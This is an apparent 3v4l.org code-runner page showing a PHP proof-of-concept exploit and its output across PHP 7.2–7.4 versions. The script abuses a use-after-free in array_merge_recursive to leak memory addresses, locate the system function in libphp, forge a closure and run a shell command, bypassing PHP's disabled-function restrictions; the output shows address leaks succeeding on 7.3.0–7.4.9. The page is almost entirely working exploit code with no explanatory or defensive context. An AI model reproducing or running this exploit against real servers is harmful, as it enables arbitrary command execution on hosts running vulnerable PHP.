3v4l.org

run code in 300+ PHP versions simultaneously
<?php pwn("uname -a"); function pwn($cmd) { global $abc, $helper; class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = chr($v & 0xff); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } $n_alloc = 10; # increase this value if UAF fails $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle(str_repeat('A', 79)); $str_2 = substr(str_shuffle(str_repeat('A', 79)), 0); $array_process_3 = array("str_2" => &$str_2, "arg_2" => &$str_2); $array_process_3 = array_merge_recursive($array_process_3, $array_process_3); $array_process_3 = null; if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $abc = $str_2; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } # leaks $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; # fake value write($abc, 0x60, 2); write($abc, 0x70, 6); # fake reference write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } # fake closure object $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } # pwn write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); # internal func type write($abc, 0xd0 + 0x68, $zif_system); # internal func handler printf("[*] closure handlers address is 0x%x <br>", $closure_handlers); printf("[*] libphp base address is 0x%x <br>", $base); printf("[*] abc address is 0x%x <br>", $abc_addr); ($helper->b)($cmd); exit(); }
Output for 7.2.0 - 7.2.34, 7.3.22 - 7.3.24, 7.4.10 - 7.4.12
UAF failed
Output for 7.4.9
[*] closure handlers address is 0x558819f7d6a0 <br>[*] libphp base address is 0x558818f7e000 <br>[*] abc address is 0x7fc0e267c4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.4.8
[*] closure handlers address is 0x559a052b56a0 <br>[*] libphp base address is 0x559a042b6000 <br>[*] abc address is 0x7faa7687c4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.4.7
[*] closure handlers address is 0x5578e3de06a0 <br>[*] libphp base address is 0x5578e2de1000 <br>[*] abc address is 0x7fbcc147c4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.4.6
[*] closure handlers address is 0x5631a3d666a0 <br>[*] libphp base address is 0x5631a2d67000 <br>[*] abc address is 0x7f0c8ac7c4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.4.5
[*] closure handlers address is 0x564f4ca616a0 <br>[*] libphp base address is 0x564f4ba62000 <br>[*] abc address is 0x7fcd9f47c4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.4.4
[*] closure handlers address is 0x561686abe6a0 <br>[*] libphp base address is 0x561685abf000 <br>[*] abc address is 0x7f99a247c4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.4.3
[*] closure handlers address is 0x55695f3226a0 <br>[*] libphp base address is 0x55695e323000 <br>[*] abc address is 0x7f53edc7c4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.4.2
[*] closure handlers address is 0x5652f62766a0 <br>[*] libphp base address is 0x5652f5277000 <br>[*] abc address is 0x7f9fa547c4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.4.1
[*] closure handlers address is 0x562dedeca6a0 <br>[*] libphp base address is 0x562dececb000 <br>[*] abc address is 0x7ff8e1a7c4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.4.0
[*] closure handlers address is 0x55939461a6a0 <br>[*] libphp base address is 0x55939361b000 <br>[*] abc address is 0x7f12d987c4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.3.21
[*] closure handlers address is 0x55a62d516760 <br>[*] libphp base address is 0x55a62c56a000 <br>[*] abc address is 0x7fb5a5c7b4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.3.20
[*] closure handlers address is 0x55f71a614760 <br>[*] libphp base address is 0x55f719668000 <br>[*] abc address is 0x7fb42b07b4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.3.19
[*] closure handlers address is 0x55e7a2a59760 <br>[*] libphp base address is 0x55e7a1aac000 <br>[*] abc address is 0x7fe0d3c7b4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.3.18
[*] closure handlers address is 0x564f75bdb760 <br>[*] libphp base address is 0x564f74c2e000 <br>[*] abc address is 0x7f924ce7b4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.3.17
[*] closure handlers address is 0x55a4c063b760 <br>[*] libphp base address is 0x55a4bf68e000 <br>[*] abc address is 0x7f356f87b4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.3.16
[*] closure handlers address is 0x55f1bc5e4760 <br>[*] libphp base address is 0x55f1bb637000 <br>[*] abc address is 0x7fdf58a7b4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.3.15
[*] closure handlers address is 0x55f72de72760 <br>[*] libphp base address is 0x55f72cec5000 <br>[*] abc address is 0x7f704587b4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.3.14
[*] closure handlers address is 0x55c000842760 <br>[*] libphp base address is 0x55bfff895000 <br>[*] abc address is 0x7fddf2c7b4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.3.13
[*] closure handlers address is 0x56234fe4f760 <br>[*] libphp base address is 0x56234eea2000 <br>[*] abc address is 0x7fda1a07b4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.3.12
[*] closure handlers address is 0x55e409310760 <br>[*] libphp base address is 0x55e408365000 <br>[*] abc address is 0x7f404fe7b4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.3.11
[*] closure handlers address is 0x556a8d8cc760 <br>[*] libphp base address is 0x556a8c921000 <br>[*] abc address is 0x7f1d8867b4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.3.10
[*] closure handlers address is 0x55f7106ab760 <br>[*] libphp base address is 0x55f70f700000 <br>[*] abc address is 0x7f98a767b4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.3.9
[*] closure handlers address is 0x55e49bad1760 <br>[*] libphp base address is 0x55e49ab2c000 <br>[*] abc address is 0x7fde9167b4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.3.8
[*] closure handlers address is 0x5568c188e740 <br>[*] libphp base address is 0x5568c08e7000 <br>[*] abc address is 0x7f4bd1c7b4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.3.7
[*] closure handlers address is 0x563980fd0740 <br>[*] libphp base address is 0x563980038000 <br>[*] abc address is 0x7f174647b4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.3.6
[*] closure handlers address is 0x558a7ad6e740 <br>[*] libphp base address is 0x558a79dd6000 <br>[*] abc address is 0x7f207087b4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.3.5
[*] closure handlers address is 0x55b321507740 <br>[*] libphp base address is 0x55b32056f000 <br>[*] abc address is 0x7f3cbd87b4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.3.4
[*] closure handlers address is 0x55ee1cf15740 <br>[*] libphp base address is 0x55ee1bf7e000 <br>[*] abc address is 0x7f9d1947b4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.3.3
[*] closure handlers address is 0x55bd9aa45740 <br>[*] libphp base address is 0x55bd99aae000 <br>[*] abc address is 0x7ff1a7e7b4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.3.2
[*] closure handlers address is 0x56085f7f7740 <br>[*] libphp base address is 0x56085e861000 <br>[*] abc address is 0x7fee5da7b4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.3.1
[*] closure handlers address is 0x55bcbf9f3740 <br>[*] libphp base address is 0x55bcbea79000 <br>[*] abc address is 0x7f616d07b4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
Output for 7.3.0
[*] closure handlers address is 0x55bb6d294740 <br>[*] libphp base address is 0x55bb6c31b000 <br>[*] abc address is 0x7f88ac87b4e8 <br> Warning: {closure}(): Unable to fork [uname -a] in /in/beUFE on line 193
preferences:
88.47 ms | 402 KiB | 78 Q